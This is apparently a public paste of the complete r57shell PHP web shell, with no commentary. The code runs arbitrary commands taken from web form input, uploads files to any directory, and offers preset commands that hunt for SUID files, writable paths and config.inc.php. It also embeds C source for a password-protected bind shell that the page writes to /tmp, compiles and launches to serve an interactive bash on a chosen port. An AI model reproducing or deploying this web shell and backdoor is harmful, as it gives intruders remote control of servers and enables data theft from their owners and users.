Public paste
R57
By: niels | Date: Jan 28 2007 14:04 | Format: PHP | Expires: never | Size: 9.51 KB | Hits: 1828

  1. <?php
  2.  
  3.  
  4.  
  5.  
  6. /*
  7. Âûáîð ÿçûêà
  8. $language='ru' - ðóññêèé
  9. $language='eng' - àíãëèéñêèé
  10. */
  11.  
  12. $language='eng';
  13.  
  14. $lang=array(
  15.            'ru_text1' => 'Âûïîëíåííàÿ êîìàíäà',
  16.            'ru_text2' => 'Âûïîëíåíèå êîìàíä íà ñåðâåðå',
  17.            'ru_text3' => 'Âûïîëíèòü êîìàíäó',
  18.            'ru_text4' => 'Ðàáî÷àÿ äèðåêòîðèÿ',
  19.            'ru_text5' => 'Çàãðóçêà ôàéëîâ íà ñåðâåð',
  20.            'ru_text6' => 'Ëîêàëüíûé ôàéë',
  21.            'ru_text7' => 'Àëèàñû',
  22.            'ru_text8' => 'Âûáåðèòå àëèàñ',
  23.            'ru_butt1' => 'Âûïîëíèòü',
  24.            'ru_butt2' => 'Çàãðóçèòü',
  25.            'ru_text9' => 'Îòêðûòèå ïîðòà è ïðèâÿçêà åãî ê /bin/bash',
  26.            'ru_text10' => 'Îòêðûòü ïîðò',
  27.            'ru_text11' => 'Ïàðîëü äëÿ äîñòóïà',
  28.            'ru_butt3' => 'Îòêðûòü',
  29.            
  30.            'eng_text1' => 'Executed command',
  31.            'eng_text2' => 'Execute command on server',
  32.            'eng_text3' => '&nbsp;Run command',
  33.            'eng_text4' => 'Work directory',
  34.            'eng_text5' => 'Upload files on server',
  35.            'eng_text6' => 'Local file',
  36.            'eng_text7' => 'Aliases',
  37.            'eng_text8' => 'Select alias',
  38.            'eng_butt1' => 'Execute',
  39.            'eng_butt2' => 'Upload',
  40.            'eng_text9' => 'Bind port to /bin/bash',
  41.            'eng_text10' => 'Port',
  42.            'eng_text11' => 'Password for access',
  43.            'eng_butt3' => 'Bind'
  44.            );
  45.  
  46.  
  47.  
  48.  
  49.  
  50. $aliases=array(
  51. 'find all suid files' => 'find / -type f -perm -04000 -ls',
  52.  
  53. 'find all sgid files' => 'find / -type f -perm -02000 -ls',
  54.  
  55. 'find config.inc.php files' => 'find / -type f -name config.inc.php',
  56.  
  57. 'find writable directories and files' => 'find / -perm -2 -ls',
  58. '----------------------------------------------------------------------------------------------------' => 'ls -la'
  59. );
  60.  
  61. $port_bind_bd_c="
  62. #include <stdio.h>
  63. #include <string.h>
  64. #include <sys/types.h>
  65. #include <sys/socket.h>
  66. #include <netinet/in.h>
  67. #include <errno.h>
  68. int main(argc,argv)
  69. int argc;
  70. char **argv;
  71. {
  72. int sockfd, newfd;
  73. char buf[30];
  74. struct sockaddr_in remote;
  75. if(argc < 3) usage(argv[0]);
  76. if(fork() == 0) { // Îòâåòâëÿåì íîâûé ïðîöåññ
  77. remote.sin_family = AF_INET;
  78. remote.sin_port = htons(atoi(argv[1]));
  79. remote.sin_addr.s_addr = htonl(INADDR_ANY);
  80. sockfd = socket(AF_INET,SOCK_STREAM,0);
  81. if(!sockfd) perror("socket error");
  82. bind(sockfd, (struct sockaddr *)&remote, 0x10);
  83. listen(sockfd, 5);
  84. while(1)
  85. {
  86. newfd=accept(sockfd,0,0);
  87. dup2(newfd,0);
  88. dup2(newfd,1);
  89. dup2(newfd,2);
  90. write(newfd,"Password:",10);
  91. read(newfd,buf,sizeof(buf));
  92. if (!chpass(argv[2],buf))
  93. system("echo welcome to r57 shell && /bin/bash -i");
  94. else
  95. fprintf(stderr,"Sorry");
  96. close(newfd);
  97. }
  98. }
  99. }
  100. int usage(char *progname)
  101. {
  102. fprintf(stderr,"USAGE:%s <port num> <password>\n",progname);
  103. exit(0);
  104. }
  105. int chpass(char *base, char *entered) {
  106. int i;
  107. for(i=0;i<strlen(entered);i++)
  108. {
  109. if(entered[i] == '\n')
  110. entered[i] = '\0';
  111. }
  112. if (!strcmp(base,entered))
  113. return 0;
  114. }";
  115.  
  116. ?>
  117. <html>
  118. <head>
  119. </head>
  120. <body bgcolor="#e4e0d8">
  121. <table width=100%cellpadding=0 cellspacing=0 bgcolor=#000000>
  122. <tr><td bgcolor=#cccccc>
  123. <!-- logo -->
  124. <font face=Verdana size=2>&nbsp;&nbsp;
  125. <font face=Webdings size=6><b>!</b></font><b>&nbsp;&nbsp;r57shell</b>
  126. </font>
  127. </td></tr><table>
  128. <table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
  129. <tr><td align=right width=100>
  130. <?
  131. /* change dir */
  132. if (($_POST['dir']!=="") AND ($_POST['dir'])) { chdir($_POST['dir']); }
  133. /* display information */
  134. echo "<font face=Verdana size=-2>";
  135. echo "<font color=blue><b>uname -a :&nbsp;<br>id :&nbsp;<br>pwd :&nbsp;</b></font><br>";
  136. echo "</td><td>";
  137. echo "<font face=Verdana size=-2 color=red><b>";
  138. echo "&nbsp;&nbsp;&nbsp; ".exec("uname -a")."<br>";
  139. echo "&nbsp;&nbsp;&nbsp; ".exec("id")."<br>";
  140. echo "&nbsp;&nbsp;&nbsp; ".exec("pwd")."";
  141. echo "</b></font>";
  142. echo "</font>";
  143. ?>
  144. </td></tr></table>
  145. <?
  146. /* port bind */
  147. if (($_POST['bind']) AND ($_POST['bind']=="bd.c") AND ($_POST['port']) AND ($_POST['bind_pass']))
  148. {
  149.  $w_file=fopen("/tmp/bd.c","ab+") or exit();
  150.  fputs($w_file,$port_bind_bd_c);
  151.  fclose($w_file);
  152.  $blah=exec("gcc -o /tmp/bd /tmp/bd.c");
  153.  $bind_string="/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']."";
  154.  $blah=exec($bind_string);
  155.  $_POST['cmd']="ps -aux | grep bd";
  156. }
  157.  
  158. if (($_POST['alias']) AND ($_POST['alias']!==""))
  159.  {
  160.  foreach ($aliases as $alias_name=>$alias_cmd) {
  161.                                                if ($_POST['alias'] == $alias_name) {$_POST['cmd']=$alias_cmd;}
  162.                                                }
  163.  }
  164.  
  165. if (($HTTP_POST_FILES["userfile"]!=="") AND ($HTTP_POST_FILES["userfile"]))
  166. {
  167. copy($HTTP_POST_FILES["userfile"][tmp_name],
  168.             $_POST['dir']."/".$HTTP_POST_FILES["userfile"][name])
  169.       or print("<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><td><tr><font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES["userfile"][name]."</div></font></td></tr></table>");
  170. }
  171. ?>
  172. <table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
  173. <tr><td bgcolor=#cccccc>
  174. <?
  175. /* command execute */
  176. if ((!$_POST['cmd']) || ($_POST['cmd']=="")) { $_POST['cmd']="ls -la"; }
  177. echo "<font face=Verdana size=-2>".$lang[$language._text1].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td>";
  178. echo "<b>";
  179. echo "<div align=center><textarea name=report cols=122 rows=15>";
  180. echo "".passthru($_POST['cmd'])."";
  181. echo "</textarea></div>";
  182. echo "</b>";
  183. ?>
  184. </td></tr></table>
  185. <table width=100% heigth=0 cellpadding=0 cellspacing=0 bgcolor=#000000>
  186. <tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: <? echo $lang[$language._text2]; ?> ::</div></b></font></td></tr>
  187. <tr><td height=23>
  188. <?
  189. /* command execute form */
  190. echo "<form name=command method=post>";
  191. echo "<font face=Verdana size=-2>";
  192. echo "<b>&nbsp;".$lang[$language._text3]." <font face=Wingdings color=gray>è</font>&nbsp;&nbsp;&nbsp;&nbsp;</b>";
  193. echo "<input type=text name=cmd size=85>&nbsp;&nbsp;<br>";
  194. echo "<b>&nbsp;".$lang[$language._text4]." <font face=Wingdings color=gray>è</font>&nbsp;&nbsp;&nbsp;&nbsp;</b>";
  195. if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo "<input type=text name=dir size=85 value=".exec("pwd").">"; }
  196. else { echo "<input type=text name=dir size=85 value=".$_POST['dir'].">"; }
  197. echo "&nbsp;&nbsp;<input type=submit name=submit value=" ".$lang[$language._butt1]." ">";
  198. echo "</font>";
  199. echo "</form>";
  200. ?>
  201. </td></tr></table>
  202. <table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
  203. <tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: <? echo $lang[$language._text5]; ?> ::</div></b></font></td></tr>
  204. <tr><td>
  205. <?
  206. /* file upload form */
  207. echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
  208. echo "<font face=Verdana size=-2>";
  209. echo "<b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".$lang[$language._text6]." <font face=Wingdings color=gray>è</font>&nbsp;&nbsp;&nbsp;&nbsp;</b>";
  210. echo "<input type=file name=userfile size=85>&nbsp;";
  211. if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo "<input type=hidden name=dir size=85 value=".exec("pwd").">"; }
  212. else { echo "<input type=hidden name=dir size=85 value=".$_POST['dir'].">"; }
  213. echo "<input type=submit name=submit value=" ".$lang[$language._butt2]." ">";
  214. echo "</font>";
  215. echo "</form>";
  216. ?>
  217. </td></tr></table>
  218. <table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
  219. <tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: <? echo $lang[$language._text7]; ?> ::</div></b></font></td></tr>
  220. <tr><td>
  221. <?
  222. /* aliases form */
  223. echo "<form name=aliases method=POST>";
  224. echo "<font face=Verdana size=-2>";
  225. echo "<b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".$lang[$language._text8]." <font face=Wingdings color=gray>è</font>&nbsp;&nbsp;&nbsp;&nbsp;</b>";
  226. echo "<select name=alias>";
  227. foreach ($aliases as $alias_name=>$alias_cmd)
  228.  {
  229.  echo "<option>$alias_name</option>";
  230.  }
  231.  echo "</select>";
  232. if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo "<input type=hidden name=dir size=85 value=".exec("pwd").">"; }
  233. else { echo "<input type=hidden name=dir size=85 value=".$_POST['dir'].">"; }
  234. echo "&nbsp;&nbsp;<input type=submit name=submit value=" ".$lang[$language._butt1]." ">";
  235. echo "</font>";
  236. echo "</form>";
  237. ?>
  238. </td></tr></table>
  239.  
  240.  
  241. <table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
  242. <tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: <? echo $lang[$language._text9]; ?> ::</div></b></font></td></tr>
  243. <tr><td>
  244. <?
  245. echo "<form name=bind method=POST>";
  246. echo "<font face=Verdana size=-2>";
  247. echo "<b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".$lang[$language._text10]." <font face=Wingdings color=gray>è</font>&nbsp;&nbsp;&nbsp;&nbsp;</b>";
  248. echo "<input type=text name=port size=15 value=11457>&nbsp;";
  249. echo "<b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".$lang[$language._text11]." <font face=Wingdings color=gray>è</font>&nbsp;&nbsp;&nbsp;&nbsp;</b>";
  250. echo "<input type=text name=bind_pass size=15 value=r57>&nbsp;";
  251. if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo "<input type=hidden name=dir size=85 value=".exec("pwd").">"; }
  252. else { echo "<input type=hidden name=dir size=85 value=".$_POST['dir'].">"; }
  253. echo "<input type=hidden name=bind size=1 value=bd.c>";
  254. echo "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=submit value=" ".$lang[$language._butt3]." ">";
  255. echo "</font>";
  256. echo "</form>";
  257. ?>
  258. </td></tr></table>
  259.  
  260.  
  261.  
  262.  
  263. <table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
  264. <tr><td bgcolor=#cccccc>
  265.  
  266. </td></tr></table>
  267.